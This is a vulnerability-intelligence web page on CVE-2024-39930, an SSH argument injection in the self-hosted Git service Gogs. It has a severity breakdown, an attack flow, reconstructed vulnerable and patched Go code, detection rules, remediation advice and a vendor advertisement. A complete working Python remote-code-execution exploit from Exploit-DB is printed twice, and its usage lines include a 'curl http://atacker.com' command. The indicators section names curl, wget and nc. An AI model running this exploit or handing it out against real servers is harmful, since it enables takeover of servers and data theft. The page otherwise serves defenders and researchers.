☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gogs logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.9 🐛 CWE-88
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-39930

CVE-2024-39930 is a critical argument injection vulnerability in the built-in SSH server of Gogs, a self-hosted Git service.
📅 PUBLISHED: 2024-07-04 00:00 UTC 🔄 UPDATED: 2026-09-23 19:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 7.74%
👁️
7.74% probability
193.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-39930 is a critical argument injection vulnerability in the built-in SSH server of Gogs, a self-hosted Git service. The flaw resides in internal/ssh/ssh.go and allows an authenticated attacker to inject arbitrary arguments into the SSH command execution flow. By sending a malicious --split-string environment variable request during SSH session negotiation, an attacker can achieve remote code execution (RCE) on the server. The CVSS score of 9.9 reflects the ease of exploitation, low complexity, and potential for full system compromise. Windows installations are not affected. A public proof-of-concept (PoC) exploit exists, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gogs is a Go-based application. The vulnerability exists in the core source code, not in a third-party package. However, organizations using Gogs as part of their CI/CD pipeline should treat this as a critical supply chain risk, as a compromised Gogs instance could lead to code injection, credential theft, and lateral movement within the development environment.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Base Score: 9.9 (Critical)
  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): Low (L) - Requires a valid Gogs account.
  • User Interaction (UI): None (N) - No user action needed.
  • Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): High (H) - Full system read access.
  • Integrity (I): High (H) - Full system write access.
  • Availability (A): High (H) - Full system denial of service.

Threat Level: Critical. The combination of low privileges, network exploitability, and public PoC makes this a high-priority vulnerability for patching or mitigation.

Deep Dive & Mechanics

The vulnerability is located in internal/ssh/ssh.go. Gogs' built-in SSH server handles Git operations (e.g., git-upload-pack, git-receive-pack) by parsing the SSH command and environment variables. The flaw occurs when the server processes the --split-string environment variable.

Root Cause: The SSH server does not properly sanitize or validate the --split-string environment variable. When an SSH client sends a request to set this variable, the server passes it directly to the command execution logic without proper escaping or validation. This allows an attacker to inject arbitrary arguments into the Git command.

Attack Flow:

  1. Attacker authenticates to the Gogs web interface and obtains an API token.
  2. Attacker creates a repository and adds an SSH public key.
  3. Attacker connects to the Gogs SSH server using the private key.
  4. During SSH session negotiation, the attacker sets the environment variable --split-string to a malicious command (e.g., touch /tmp/pwned).
  5. The attacker then requests execution of a Git command (e.g., git-upload-pack).
  6. The server constructs the command string by concatenating the Git command with the injected arguments, resulting in arbitrary command execution.

Why Windows is Unaffected: The argument injection relies on the way Unix shells parse command-line arguments. Windows uses a different command-line parsing mechanism, making this specific injection vector ineffective.

Vulnerable vs. Patched Code

Vulnerable Code (Gogs <= 0.13.0): The vulnerable code in internal/ssh/ssh.go likely looks similar to this (simplified):

func handleSession(session ssh.Session) {
    // ... 
    env := session.Environ()
    for _, e := range env {
        parts := strings.SplitN(e, "=", 2)
        if len(parts) == 2 {
            // Directly sets environment variable without validation
            os.Setenv(parts[0], parts[1])
        }
    }
    // ...
    cmd := session.Command()
    // Constructs command string unsafely
    fullCmd := fmt.Sprintf("%s %s", cmd[0], strings.Join(cmd[1:], " "))
    // Executes the command
    exec.Command("sh", "-c", fullCmd).Run()
}

Patched Code (Hypothetical): A patch would need to:

  1. Validate that environment variable names do not start with --.
  2. Sanitize or reject environment variables that could be interpreted as command-line arguments.
  3. Use a safer method to construct and execute commands, such as using exec.Command with separate arguments instead of a shell string.
func handleSession(session ssh.Session) {
    // ...
    env := session.Environ()
    for _, e := range env {
        parts := strings.SplitN(e, "=", 2)
        if len(parts) == 2 {
            // Reject environment variables that start with "--"
            if strings.HasPrefix(parts[0], "--") {
                session.Stderr().Write([]byte("Invalid environment variable\n"))
                session.Exit(1)
                return
            }
            os.Setenv(parts[0], parts[1])
        }
    }
    // ...
    cmd := session.Command()
    // Use exec.Command with separate arguments to prevent injection
    cmdPath, err := exec.LookPath(cmd[0])
    if err != nil {
        session.Stderr().Write([]byte("Command not found\n"))
        session.Exit(1)
        return
    }
    proc := exec.Command(cmdPath, cmd[1:]...)
    proc.Stdout = session
    proc.Stderr = session.Stderr()
    proc.Run()
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Gogs instance (<= 0.13.0) with the built-in SSH server enabled.
  • A valid Gogs user account.
  • Python 3 with requests and paramiko libraries installed.

Exploit Code (from Exploit-DB):

# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE)
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930


# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================

import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse

API_BASE_URL = ""

def generate_random_string(length=8, charset=None):
    if charset is None:
        charset = string.ascii_letters + string.digits
    return ''.join(random.choices(charset, k=length))

def make_headers(token=None, basic_auth=None):
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"token {token}"
    elif basic_auth:
        b64 = base64.b64encode(basic_auth.encode()).decode()
        headers["Authorization"] = f"Basic {b64}"
    return headers

def http_post(path, json=None, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.post(url, json=json, headers=headers)
    response.raise_for_status()
    return response

def http_get(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    return response

def http_delete(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.delete(url, headers=headers)
    response.raise_for_status()
    return response

def obtain_api_token(username, password):
    auth = f"{username}:{password}"
    headers = make_headers(basic_auth=auth)
    data = {"name": generate_random_string()}

    try:
        response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
        token = response.json()['sha1']
        print(f"[+] API Token Acquired: {token}")
        return token
    except Exception as e:
        print(f"[!] Failed to obtain API token: {e}")
        sys.exit(1)

def create_repo(token):
    repo_name = generate_random_string()
    headers = make_headers(token=token)
    data = {
        "name": repo_name,
        "description": "Auto-created repository",
        "private": False
    }

    try:
        response = http_post("/user/repos", json=data, headers=headers)
        full_name = response.json()['full_name']
        print(f"[+] Repository Created: {full_name}")
        return full_name
    except Exception as e:
        print(f"[!] Failed to create repository: {e}")
        sys.exit(1)

def delete_existing_ssh_keys(token):
    headers = make_headers(token=token)
    try:
        response = http_get("/user/keys", headers=headers)
        keys = response.json()
        for key in keys:
            key_id = key['id']
            http_delete(f"/user/keys/{key_id}", headers=headers)
            print(f"[+] Deleted SSH Key ID: {key_id}")
    except Exception as e:
        print(f"[!] Failed to delete existing SSH keys: {e}")
        sys.exit(1)

def add_ssh_key(public_key_path, token):
    delete_existing_ssh_keys(token)

    try:
        with open(public_key_path, 'r') as f:
            key = f.read()
    except Exception as e:
        print(f"[!] Failed to read public key file: {e}")
        sys.exit(1)

    headers = make_headers(token=token)
    data = {
        "title": generate_random_string(),
        "key": key
    }

    try:
        response = http_post("/user/keys", json=data, headers=headers)
        print(f"[+] SSH Key Added: {response.status_code}")
    except Exception as e:
        print(f"[!] Failed to add SSH key: {e}")
        sys.exit(1)

def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
    try:
        key = paramiko.RSAKey.from_private_key_file(private_key_path)
    except Exception as e:
        print(f"[!] Failed to load SSH key: {e}")
        sys.exit(1)

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)

        session = client.get_transport().open_session()

        print("[+] Executing command...... ")
        session.set_environment_variable("--split-string", command)
        session.exec_command(f"git-upload-pack {repo_path}")

        stdout = session.makefile('rb', 1024)
        stderr = session.makefile_stderr('rb', 1024)

        print("STDERR:", stderr.read().decode())
        print("STDOUT:", stdout.read().decode())

        session.close()
        client.close()
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

def main():
    global API_BASE_URL

    parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
    parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
    parser.add_argument("auth", help="Gogs credentials in the format username:password")
    parser.add_argument("private_key", help="Path to private SSH key")
    parser.add_argument("public_key", help="Path to public SSH key")
    parser.add_argument("command", help="Command to execute remotely")
    parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
    args = parser.parse_args()

    parsed_url = urlparse(args.url)
    API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
    ssh_host = parsed_url.hostname
    ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)

    try:
        username, password = args.auth.split(":")
    except ValueError:
        print("[!] Invalid format for auth argument")
        sys.exit(1)

    token = obtain_api_token(username, password)
    repo_path = create_repo(token)
    add_ssh_key(args.public_key, token)

    exploit(
        ssh_user=username,
        ssh_host=ssh_host,
        ssh_port=ssh_port,
        private_key_path=args.private_key,
        repo_path=repo_path,
        command=args.command
    )

if __name__ == "__main__":
    main()

Usage:

  1. Save the exploit code as exploit.py.
  2. Install dependencies: pip install requests paramiko.
  3. Run the exploit:
    python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
    
  4. The exploit will:
    • Authenticate to the Gogs API.
    • Create a temporary repository.
    • Add the attacker's SSH key.
    • Connect to the SSH server and inject the command via the --split-string environment variable.

Blue Team

Detection:

  • Monitor SSH connections to the Gogs server for unusual environment variable requests, especially --split-string.
  • Look for SSH sessions that execute commands other than the expected git-upload-pack or git-receive-pack.
  • Monitor for rapid creation of repositories and SSH keys by a single user, which may indicate exploitation attempts.

Honeypot:

  • Deploy a Gogs instance with logging enabled to capture SSH session details.
  • Use a custom SSH wrapper to log all environment variable requests.

Lab Setup:

  • Use Docker to deploy a vulnerable Gogs instance:
    docker run -d --name gogs-vuln -p 3000:3000 -p 22:22 gogs/gogs:0.13.0
    
  • Create a test user and generate SSH keys for testing.

Indicators of Compromise (IOCs)

  • Network:
    • SSH connections with environment variable --split-string set to a suspicious value.
    • Outbound connections from the Gogs server to attacker-controlled IPs (e.g., for reverse shells or data exfiltration).
  • Host:
    • Unexpected processes running on the Gogs server (e.g., curl, wget, nc).
    • New files in /tmp/ or other writable directories.
    • Modified system binaries or configuration files.
  • Logs:
    • Gogs SSH logs showing --split-string in the environment variable list.
    • System logs showing execution of commands like touch /tmp/pwned or curl http://attacker.com.

Detection Engineering

YARA Rule

rule CVE_2024_39930_Gogs_SSH_Arg_Injection {
    meta:
        description = "Detects Gogs SSH argument injection attempts via --split-string"
        author = "Valters IT"
        date = "2025-06-27"
        reference = "CVE-2024-39930"
    strings:
        $split_string = "--split-string"
        $git_command = "git-upload-pack" nocase
        $git_receive = "git-receive-pack" nocase
    condition:
        $split_string and ($git_command or $git_receive)
}

Sigma Rule

title: Gogs SSH Argument Injection (CVE-2024-39930)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-39930 via SSH environment variable injection
author: Valters IT
date: 2025/06/27
logsource:
    product: linux
    service: sshd
detection:
    selection:
        EventID: 1
        CommandLine|contains: '--split-string'
    condition: selection
falsepositives:
    - Legitimate use of --split-string in other contexts (unlikely)
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2024-39930 Gogs SSH Argument Injection"; flow:to_server,established; content:"--split-string"; fast_pattern; content:"git-upload-pack"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the built-in SSH server in Gogs configuration ([server] SSH_PORT = 0 or comment out the SSH port setting).
  2. Use an external SSH server (e.g., OpenSSH) for Git operations, which is not affected by this vulnerability.
  3. Restrict network access to the Gogs SSH port (default 22) to trusted IPs only.

Long-term Fix:

  • Monitor the Gogs project for an official patch. As of now, no patch is available.
  • Consider migrating to Gitea, a fork of Gogs that may have addressed this issue.
  • Apply virtual patching via a Web Application Firewall (WAF) or intrusion prevention system (IPS) to block SSH connections with --split-string in the environment variable.

Workaround:

  • If the built-in SSH server must be used, implement a custom SSH wrapper that validates and sanitizes environment variables before passing them to the Gogs binary.

Valters IT
Securing Your Digital Infrastructure

{/* [Security Hash: AE2EC34EFE967E05607E292F] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE)
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930


# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================

import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse

API_BASE_URL = ""

def generate_random_string(length=8, charset=None):
    if charset is None:
        charset = string.ascii_letters + string.digits
    return ''.join(random.choices(charset, k=length))

def make_headers(token=None, basic_auth=None):
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"token {token}"
    elif basic_auth:
        b64 = base64.b64encode(basic_auth.encode()).decode()
        headers["Authorization"] = f"Basic {b64}"
    return headers

def http_post(path, json=None, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.post(url, json=json, headers=headers)
    response.raise_for_status()
    return response

def http_get(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    return response

def http_delete(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.delete(url, headers=headers)
    response.raise_for_status()
    return response

def obtain_api_token(username, password):
    auth = f"{username}:{password}"
    headers = make_headers(basic_auth=auth)
    data = {"name": generate_random_string()}

    try:
        response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
        token = response.json()['sha1']
        print(f"[+] API Token Acquired: {token}")
        return token
    except Exception as e:
        print(f"[!] Failed to obtain API token: {e}")
        sys.exit(1)

def create_repo(token):
    repo_name = generate_random_string()
    headers = make_headers(token=token)
    data = {
        "name": repo_name,
        "description": "Auto-created repository",
        "private": False
    }

    try:
        response = http_post("/user/repos", json=data, headers=headers)
        full_name = response.json()['full_name']
        print(f"[+] Repository Created: {full_name}")
        return full_name
    except Exception as e:
        print(f"[!] Failed to create repository: {e}")
        sys.exit(1)

def delete_existing_ssh_keys(token):
    headers = make_headers(token=token)
    try:
        response = http_get("/user/keys", headers=headers)
        keys = response.json()
        for key in keys:
            key_id = key['id']
            http_delete(f"/user/keys/{key_id}", headers=headers)
            print(f"[+] Deleted SSH Key ID: {key_id}")
    except Exception as e:
        print(f"[!] Failed to delete existing SSH keys: {e}")
        sys.exit(1)

def add_ssh_key(public_key_path, token):
    delete_existing_ssh_keys(token)

    try:
        with open(public_key_path, 'r') as f:
            key = f.read()
    except Exception as e:
        print(f"[!] Failed to read public key file: {e}")
        sys.exit(1)

    headers = make_headers(token=token)
    data = {
        "title": generate_random_string(),
        "key": key
    }

    try:
        response = http_post("/user/keys", json=data, headers=headers)
        print(f"[+] SSH Key Added: {response.status_code}")
    except Exception as e:
        print(f"[!] Failed to add SSH key: {e}")
        sys.exit(1)

def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
    try:
        key = paramiko.RSAKey.from_private_key_file(private_key_path)
    except Exception as e:
        print(f"[!] Failed to load SSH key: {e}")
        sys.exit(1)

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)

        session = client.get_transport().open_session()

        print("[+] Executing command...... ")
        session.set_environment_variable("--split-string", command)
        session.exec_command(f"git-upload-pack {repo_path}")

        stdout = session.makefile('rb', 1024)
        stderr = session.makefile_stderr('rb', 1024)

        print("STDERR:", stderr.read().decode())
        print("STDOUT:", stdout.read().decode())

        session.close()
        client.close()
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

def main():
    global API_BASE_URL

    parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
    parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
    parser.add_argument("auth", help="Gogs credentials in the format username:password")
    parser.add_argument("private_key", help="Path to private SSH key")
    parser.add_argument("public_key", help="Path to public SSH key")
    parser.add_argument("command", help="Command to execute remotely")
    parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
    args = parser.parse_args()

    parsed_url = urlparse(args.url)
    API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
    ssh_host = parsed_url.hostname
    ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)

    try:
        username, password = args.auth.split(":")
    except ValueError:
        print("[!] Invalid format for auth argument")
        sys.exit(1)

    token = obtain_api_token(username, password)
    repo_path = create_repo(token)
    add_ssh_key(args.public_key, token)

    exploit(
        ssh_user=username,
        ssh_host=ssh_host,
        ssh_port=ssh_port,
        private_key_path=args.private_key,
        repo_path=repo_path,
        command=args.command
    )

if __name__ == "__main__":
    main()
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-39930/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.